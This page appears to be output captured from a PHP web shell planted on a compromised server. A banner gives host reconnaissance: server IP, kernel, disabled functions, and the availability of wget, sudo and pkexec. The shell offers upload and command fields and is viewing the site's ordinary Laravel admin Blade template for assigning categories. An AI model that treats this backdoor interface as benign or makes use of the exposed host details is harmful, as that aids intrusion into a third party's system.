X3ND1 GANTENG
Server IP : 108.163.255.210  /  Your IP : 18.219.158.84
Web Server : Apache
System : Linux blossom.urlnameserver.com 3.10.0-1160.80.1.el7.x86_64 #1 SMP Tue Nov 8 15:48:59 UTC 2022 x86_64
User :  ( 1172)
PHP Version : 7.2.34
Disable Function : eval,escapeshellarg,proc_close,proc_get_status,proc_nice,proc_open,symlink,system,pcntl_exec,getrusage,chown,chgp,closelog,openlog,syslog,define_syslog_variables,php_ini_loaded_file,getservbyname,getservbyport,posix_getgid,posix_getgrgid,proc_terminate,pfsockopen,apache_child_terminate,posix_mkfifo,posix_setpgid,posix_setuid,hypot,pg_host,pos,posix_access,posix_getcwd,posix_getservbyname,myshellexec,getpid,posix_getsid,posix_isatty,posix_kill,posix_mknod,posix_setgid,posix_setsid,posix_setuid,posix_times,posix_uname,ps_fill,posix_getpwuid,global,ini_restore,zip_open,zip_read,rar_open,bzopen,bzread,bzwrite,apache_get_modules,apache_get_version,phpversionphpinfo,php_ini_scanned_files,get_current_user,disk_total_space,diskfreespace,leak,imap_list,hypo,filedump,safe_mode,getmygid,apache_getenv,apache_setenv,bzread,bzwrite,bzopen,phpini,higlight_file,dos_conv,get_cwd,er_log,cmd,e_name,vdir,get_dir,only_read,ftok,ftpexec,posix_getpwnam,mysql_list_dbs,disk_free_space,session_save_path,confirm_phpdoc_compiled,zip_entry_rea,php_u,psockopen,crack_opendict,crack_getlastmessage,crack_closedict,crack_check,fpassthru,posix_get_last_error,posix_getlogin,posix_getgroups,posix_strerror,posix_getrlimit,posix_getpgrp,posix_getgrnam,pos,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/unilinki/public_html/AlpaiAWS/resources/views/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ BERANDA ]     

Current File : /home/unilinki/public_html/AlpaiAWS/resources/views/admin/editcategoriesroles.blade.php
@extends('admin.layout')

@section('content')

<div class="content-wrapper"> 

  <!-- Content Header (Page header) -->

  <section class="content-header">

    <h1> {{ trans('labels.Assign Categories') }} <small>{{ trans('labels.Assign Categories') }}...</small> </h1>

    <ol class="breadcrumb">

       <li><a href="{{ URL::to('admin/dashboard/this_month') }}"><i class="fa fa-dashboard"></i> {{ trans('labels.breadcrumb_dashboard') }}</a></li>

      <li><a href="{{ URL::to('admin/categoriesroles')}}"><i class="fa fa-bars"></i> {{ trans('labels.categoriesroles') }}</a></li>

      <li class="active">{{ trans('labels.Assign Categories') }}</li>

    </ol>

  </section>

  

  <!-- Main content -->

  <section class="content"> 

    <!-- Info boxes --> 

    

    <!-- /.row -->



    <div class="row">

      <div class="col-md-12">

        <div class="box">

          <div class="box-header">

            <h3 class="box-title">{{ trans('labels.Assign Categories') }} </h3>

          </div>

          

          <!-- /.box-header -->

          <div class="box-body">

            <div class="row">

              <div class="col-xs-12">

              		<div class="box box-info">

                        <!-- /.box-header -->

                        <br>                       

                        @if(session()->has('error'))

                            <div class="alert alert-danger alert-dismissible" role="alert">

                              <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span></button>

                              {{ session()->get('error') }}

                            </div>

                          @endif

                          

                          @if(session()->has('success'))

                            <div class="alert alert-success alert-dismissible" role="alert">

                              <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span></button>

                              {{ session()->get('success') }}

                            </div>

                          @endif

                        

                        <!-- form start -->                        

                         <div class="box-body">

                         

                            {!! Form::open(array('url' =>'admin/updatecategoriesroles', 'method'=>'post', 'class' => 'form-horizontal form-validate', 'enctype'=>'multipart/form-data')) !!}

                            <input type="hidden" name="categories_role_id" value="{{$result['data'][0]->categories_role_id}}">       

                             <div class="form-group">

                                  <label for="name" class="col-sm-2 col-md-3 control-label">{{ trans('labels.ChooseAdmin') }}</label>

                                  <div class="col-sm-10 col-md-4">

                                  

                                      <select class="form-control field-validate" name="admin_id" disabled>

                                          @foreach($result['admins'] as $admins)

                                              @if($result['data'][0]->admin_id==$admins->myid) 

                                              <option value="{{$admins->myid}}"  >{{$admins->first_name}} {{$admins->last_name}}</option>

                                              @endif

                                          @endforeach

                                      </select>      

                                                                                                               

                                      <span class="help-block" style="font-weight: normal;font-size: 11px;margin-bottom: 0;">

                                      {{ trans('labels.ChooseAdminText') }}.</span>

                                      <span class="help-block hidden">{{ trans('labels.textRequiredFieldMessage') }}</span>

                                  </div>

                              </div>

                                @php

                                $cat_array = explode(',',$result['data'][0]->categories_ids);

                                @endphp

                              <div class="form-group">

                                  <label for="name" class="col-sm-2 col-md-3 control-label">{{ trans('labels.Categories') }}</label>

                                  <div class="col-sm-10 col-md-4">

                                        <ul class="list-group list-group-root well">    

                                          @foreach ($result['categories'] as $categories)                                    

                                          <li href="#" class="list-group-item"><label style="width:100%"><input @if(in_array($categories->id,$cat_array)) checked @endif id="categories_<?=$categories->id?>" type="checkbox" class=" required_one categories" name="categories[]" value="{{ $categories->id }}" > {{ $categories->name }}</label></li>

                                              @if(!empty($categories->sub_categories))

                                              <ul class="list-group">

                                                    	<li class="list-group-item" >

                                                    @foreach ($categories->sub_categories as $sub_category)<label><input type="checkbox" name="categories[]" class="required_one sub_categories sub_categories_<?=$categories->id?>" parents_id = '<?=$categories->id?>' value="{{ $sub_category->sub_id }}" @if(in_array($sub_category->sub_id,$cat_array)) checked @endif> {{ $sub_category->sub_name }}</label>@endforeach</li>

                                                    

                                              </ul>

                                              @endif

                                          @endforeach                                          

                                        </ul>                                          

                                      <span class="help-block" style="font-weight: normal;font-size: 11px;margin-bottom: 0;">

                                      {{ trans('labels.ChooseCatgoryText') }}.</span>

                                      <span class="help-block hidden">{{ trans('labels.textRequiredFieldMessage') }}</span>

                                  </div>

                                </div>

                                          

                              <!-- /.box-body -->

                              <div class="box-footer text-center">

                                <button type="submit" class="btn btn-primary">{{ trans('labels.Assign') }}</button>

                                <a href="{{ URL::to('admin/categoriesroles')}}" type="button" class="btn btn-default">{{ trans('labels.back') }}</a>

                              </div>

                              <!-- /.box-footer -->

                            {!! Form::close() !!}

                        </div>

                  </div>

              </div>

            </div>

            

          </div>

          <!-- /.box-body --> 

        </div>

        <!-- /.box --> 

      </div>

      <!-- /.col --> 

    </div>

    <!-- /.row --> 

    

    <!-- Main row --> 

    

    <!-- /.row --> 

  </section>

  <!-- /.content --> 

</div>

@endsection 

Anon7 - 2022
SCDN GOK